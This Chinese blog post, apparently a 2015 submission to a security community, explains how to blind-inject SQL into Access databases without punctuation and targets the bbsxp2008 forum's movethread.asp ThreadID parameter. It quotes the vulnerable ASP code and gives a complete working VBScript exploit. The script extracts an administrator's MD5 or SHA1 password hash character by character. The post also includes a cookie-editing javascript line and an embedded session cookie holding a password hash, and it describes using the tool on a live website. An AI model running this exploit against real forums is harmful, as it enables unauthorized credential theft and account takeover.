注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

 
 
 
 
 

日志

 
 

ACCESS下绕过标点符号继续注入  

2015-08-18 16:34:36|  分类: SQL injection |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |


一 前言

作为给90sec的投稿,这篇文章介绍一个注入方面的小技巧。在一些Access注入环境中,防火墙或者程序本身对注入语句进行了限制,不能出现标点符号,导致Mid(string, start[, length])之类的函数无法使用,于是无法在Access下获得用户名和密码,这个时候很多人就放弃了,这里介绍一下Access语法的一些特性来解决这个问题,拿bbsxp2008作为例子,当时各种论坛结论都是只能针对mssql版本,因为程序对注入语句的逗号做了过滤,导致Mid函数无法使用。



if CookieUserName=empty then error("您还未<a href="http://iverson5.blog.163.com/"javascript:BBSXP_Modal.Open('Login.asp',380,170);"">登录</a& gt;论坛") '保存cookie登陆即可

ThreadID=Request("ThreadID") '没有经函数检查过滤便赋值给ThreadID

If Not IsNumeric(ThreadID) then '如果ThreadID的值不是数字
ThreadIDArray=Split(ThreadID,",") '判断数组,避免13行出错
if IsArray(ThreadIDArray) then
for i=0 to Ubound(ThreadIDArray)
if Execute("Select ThreadID from ["&TablePrefix&"Threads] where ThreadID="&ThreadIDArray(i)&"").eof then error"<li>系统不存在该帖子的资料" '注入发生
next
ThreadIDSql=int(ThreadIDArray(0))
else
error("参数错误。")
end if
Else
ThreadIDSql=int(ThreadID)
End If
ForumID=Execute("Select ForumID From ["&TablePrefix&"Threads] where ThreadID="&ThreadIDSql&"")(0)
%>
<!-- #include file="Utility/ForumPermissions.asp" -->



其实不用逗号也可以实现注入。首先大家要明白Access是如何比较两个字符串的,比如比较 “abb123”和 “ABc123”这两个字符串的大小,从两个字符串的第一个字符开始比较,由于Access比较字符串是不区分大小写的,两个字符串的第一个字符相等接着比较下一个,直到比较第三个字符时因为c的asc码比b大,这时就停止比较,认为第二个字符串比第一个大。如果是比较 “abc1234”和 “abc123”,当第二个字符串比较到最后一个字符时第一个字符串还有要比较的字符,就认为第一个字符串比第二个大。
知道了原理我们就可以用这种方法来猜解密码, 32位md5字符集中单个字符从小到大的排列顺序为 “0123456789ABCDEF”,比如我们要猜的md5密码>=’3’成立,但<’4’错误,就可以知道密码的第一位是3,如果密码>=’3A’成立,<’3B’错误,则密码的第二位就是A,如果密码>=’3A5’成立,<’3A6’错误,则密码的第三位就是5,以此类推,很容易猜出密码。

二 编写程序

显然用注入工具猜解不出来,我模仿小榕的wed编写了个vbs脚本,这里贴出主要的代码,具体代码看附件:

strCookie = "你的Cookie"
… …
MD5Charset = "0123456789ABCDEFJ"
… …
strInject = strHoleUrl & "And 0<(Select Count(*) From BBSXP_Users Where UserName='" & attackUser & "' And Len(UserPassword)=40)"
strInject = URLEncoding(strInject)
If IsSuccess(strInject) Then
m = 40
Else
m = 32
End If

For n=1 To m
For i=1 To 17
strInject = strHoleUrl & "And 0<(Select Count(*) From BBSXP_Users Where UserName='" & attackUser & "' And UserPassword>='" & strResult & Mid(MD5Charset, i, 1) & "')"
strInject = URLEncoding(strInject)
If Not IsSuccess(strInject) Then
strResult = strResult & Mid(MD5Charset, i-1, 1)
Exit For
End If
If m = 40 Then
strPrint = chr(13) & "Password(SHA1): " & strResult & Mid(MD5Charset, i, 1)
Else
strPrint = chr(13) & "Password(MD5): " & strResult & Mid(MD5Charset, i, 1)
End If
WScript.StdOut.Write strPrint
Next
Next
… …
Function IsSuccess(PostUrl)
strData = PostData(PostUrl)
'Wscript.Echo strData
if InStr(strData,"权限") >0 then
IsSuccess = True
Else
IsSuccess = False
End If
'Wscript.Sleep 500 '让系统休息一下
End Function



这里说明两点:
第一,测试有漏洞的网站时,先注册个账户登陆后,在地址栏输入:
javascript:document.cookie=window.prompt("Linx Edit cookie:",document.cookie);void(0);
复制Cookie到程序中的strCookie = "你的Cookie"。

第二,大家可能会发现MD5Charset = "0123456789ABCDEFJ"这个md5字符集中多出了一个J,这是因为md5字符集中最大的字符是F,如果密码中有一个字符为F,要是不定义J的话程序就无法再猜解下去。

程序的使用方法为:
Cscript bbsxp2008.vbs 要检测的网站 要检测的帐号

三 实 战

由于是很早以前的漏洞了,拿一个废弃的网站做测试,仅作测试!!注册个账户登陆,如图1



在首页点击统计->成员列表,可以看到admin是管理员。在地址栏输入javascript:document.cookie=window.prompt("Linx Edit cookie:",document.cookie);void(0);
复制出Cookie到程序中的strCookie = "你的Cookie",然后打来命令提示符输入:Cscript bbsxp2008.vbs http://xxxx.cn admin,如图3



由于bbsxp对用户密码提供了两种加密方式:MD5(32位)和SHA1(40位),我编的程序都可以破解出来。http://www.md5sha1.com打不开了,我在网上也没找到提供SHA1在线解密的网站,只找到了“MD5SHA高级解密器”这个软件,我不喜欢暴力破解,也就没对这个软件研究下去。

文章没多少技术含量,高手飘过,结尾附上完整代码:

If WScript.Arguments.Count <> 2 Then
WScript.Echo "Usage: Cscript.exe bbsxp_exp.vbs 要检测的论坛网址 要检测的用户名"
WScript.Echo "Example: Cscript.exe bbsxp_exp.vbs [url=http://bbs.yuzi.net]http://bbs.yuzi.net[/url] admin"
WScript.Quit
End If

'这里替换为你的Cookie
strCookie = "Themes=default; ASPSESSIONIDACTARCTA=PALJNKCAGGIOCEBKIDEBCLEH; cck_lasttime=1237342055484; cck_count=0; Invisible=0; UserID=65; UserPassword=E10ADC3949BA59ABBE56E057F20F883E; null"
attackUrl = WScript.Arguments(0)
attackUser = WScript.Arguments(1)
attackUrl = Replace(attackUrl,"\","/")
If Right(attackUrl , 1) <> "/" Then
attackUrl = attackUrl & "/"
End If
MD5Charset = "0123456789ABCDEFJ"
strHoleUrl = attackUrl & "movethread.asp?ThreadID=1,1 "

If IsSuccess(strHoleUrl & "and 1=1") And Not IsSuccess(strHoleUrl & "and 1=2") Then
WScript.Echo "恭喜!存在漏洞"
Else
WScript.Echo "没有检测到漏洞"
WScript.Quit
End If

strInject = strHoleUrl & "And 0<(Select Count(*) From BBSXP_Users Where UserName='" & attackUser & "' And Len(UserPassword)=40)"
strInject = URLEncoding(strInject)
If IsSuccess(strInject) Then
m = 40
Else
m = 32
End If

For n=1 To m
For i=1 To 17
strInject = strHoleUrl & "And 0<(Select Count(*) From BBSXP_Users Where UserName='" & attackUser & "' And UserPassword>='" & strResult & Mid(MD5Charset, i, 1) & "')"
strInject = URLEncoding(strInject)
If Not IsSuccess(strInject) Then
strResult = strResult & Mid(MD5Charset, i-1, 1)
Exit For
End If
If m = 40 Then
strPrint = chr(13) & "Password(SHA1): " & strResult & Mid(MD5Charset, i, 1)
Else
strPrint = chr(13) & "Password(MD5): " & strResult & Mid(MD5Charset, i, 1)
End If
WScript.StdOut.Write strPrint
Next
Next
WScript.Echo Chr(13) & Chr (10) & "Done!"

Function PostData(PostUrl)
Dim Http
Set Http = CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.setRequestHeader "Cookie", strCookie
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function


Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function IsSuccess(PostUrl)

strData = PostData(PostUrl)
'Wscript.Echo strData
if InStr(strData,"权限") >0 then
IsSuccess = True
Else
IsSuccess = False
End If
'Wscript.Sleep 500 '让系统休息一下
End Function

Function URLEncoding(vstrin)
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(43),"%2B") '转换+字符
'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
URLEncoding=strReturn
End Function


  评论这张
 
阅读(360)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017